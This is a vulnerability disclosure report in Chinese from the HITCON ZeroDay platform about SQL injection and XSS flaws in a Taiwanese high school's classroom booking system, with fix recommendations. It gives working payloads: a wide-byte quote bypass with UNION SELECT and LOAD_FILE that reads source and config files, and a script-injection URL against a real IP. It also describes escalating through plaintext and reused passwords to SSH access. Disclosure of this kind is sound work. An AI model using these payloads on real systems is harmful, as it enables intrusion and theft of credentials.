Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00539
- Vendor: 台灣學術網路危機處理中心(TACERT)
- Title: 國立彰化高中 特別教室預約管理系統 SQL Injection
- Introduction: SQL Injection
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/07/11 01:31:14 : 新提交 (由 Cyku 更新此狀態)
- 2017/07/11 02:19:07 : 新提交 (由 Cyku 更新此狀態)
- 2017/07/11 02:21:02 : 新提交 (由 Cyku 更新此狀態)
- 2017/07/11 23:44:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/07/29 10:19:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/07/29 10:19:34 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00539
- 通報者:kanade86514 (Cyku)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
(其餘頁面也可能存在相同問題,尚未檢查)
敘述
show參數未過濾不恰當字元,僅過濾單引號「 ' 」,輸入「 %cc' 」即可繞過。
以「 %cc' union select user(),2,3,4,5,version(),7,8,HEX(LOAD_FILE(0x2f7573722f6c6f63616c2f7777772f61706163686532322f646174612f7068702f6170706f696e742f714f726465722e706870)) %23 」取得使用者、版本資訊及PHP原始碼。
以「 %cc' union select 1,2,3,4,5,6,7,8,HEX(LOAD_FILE(0x2f7573722f6c6f63616c2f7777772f61706163686532322f646174612f7068702f636f6e6669672e706870)) %23 」取得資料庫使用者密碼。
進一步取得 calendar_root 資料表內容,發現使用者密碼均以明文保存,且管理員的密碼屬於弱密碼。
使用管理員帳密登入後台發現可直接瀏覽所有使用者的密碼明文。
再進一步測試發現伺服器允許外部任意主機以 ssh 連線,且其中一組具有 su 權限的使用者 billor 密碼與資料庫相同。
另發現仍有備份的 appointDB.sql 存在伺服器上,且發現已存在 1.php 洩漏 phpinfo 資訊。

補充:
資料進行 echo 時,均未進行處理,因此存在 XSS 問題。
http://163.23.148.11/php/appoint/qOrder.php?show=<script>alert(123)</script>
修補建議
1. 更新PHP、MySQL版本,建議應以 Prepared Statement (PDO) 重新改寫查詢,使用 bindValue 或 bindParam 等方法綁定查詢參數。
2. 資料庫請勿儲存明文密碼,任何密碼應先經過雜湊函數演算後再寫入,不應保存任何原始密碼,推薦使用 hash_hmac 函式。
3. 請更換管理員密碼,勿使用任何弱密碼。
4. 資料庫使用者不應使用 root,請建立新使用者並僅允許針對特定資料庫進行 CRUD 的權限。
5. 資料庫使用者密碼不應與主機使用者密碼相同,且需加強密碼強度。
6. 可限制 ssh 連線的來源 IP 。
7. echo 任何資料前,須先經過 HTML escape 處理。